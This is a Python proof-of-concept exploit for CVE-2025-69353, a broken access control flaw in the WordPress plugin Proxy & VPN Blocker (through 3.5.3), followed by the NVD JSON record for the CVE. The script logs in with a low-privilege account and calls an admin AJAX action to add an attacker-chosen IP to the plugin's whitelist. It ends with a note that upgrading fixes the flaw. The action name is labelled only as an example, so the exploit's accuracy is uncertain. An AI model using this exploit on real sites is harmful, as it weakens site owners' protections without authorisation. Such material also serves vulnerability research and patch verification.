CVE-2025-69353

# CVE-2025-69353 PoC - Missing Authorization in Proxy & VPN Blocker # This PoC demonstrates the broken access control vulnerability import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "low_privilege_user" # e.g., subscriber account password = "user_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) # Check if login successful if "wordpress_logged_in" in str(session.cookies) or response.status_code == 200: print("[+] Login successful") # Exploit: Add malicious proxy to whitelist via unauthenticated/unauthorized endpoint # The plugin's AJAX handlers lack proper capability checks exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Example: Add proxy to whitelist (requires admin privileges but vulnerable) exploit_data = { "action": "pvb_add_proxy", # Plugin's AJAX action "proxy_ip": "1.2.3.4", # Malicious proxy IP "proxy_type": "http", "whitelist": "1" # Add to whitelist } exploit_response = session.post(exploit_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Exploit sent - Proxy added to whitelist") print(f"[*] Response: {exploit_response.text}") else: print("[-] Exploit failed or already patched") else: print("[-] Login failed") print("\n[*] Note: This PoC requires a valid low-privilege WordPress account") print("[*] Mitigation: Upgrade to Proxy & VPN Blocker > 3.5.3")

{"cve": {"id": "CVE-2025-69353", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:47.847", "lastModified": "2026-04-28T19:36:22.320", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Proxy & VPN Blocker Proxy & VPN Blocker proxy-vpn-blocker allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Proxy & VPN Blocker: from n/a through <= 3.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/proxy-vpn-blocker/vulnerability/wordpress-proxy-vpn-blocker-plugin-3-5-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}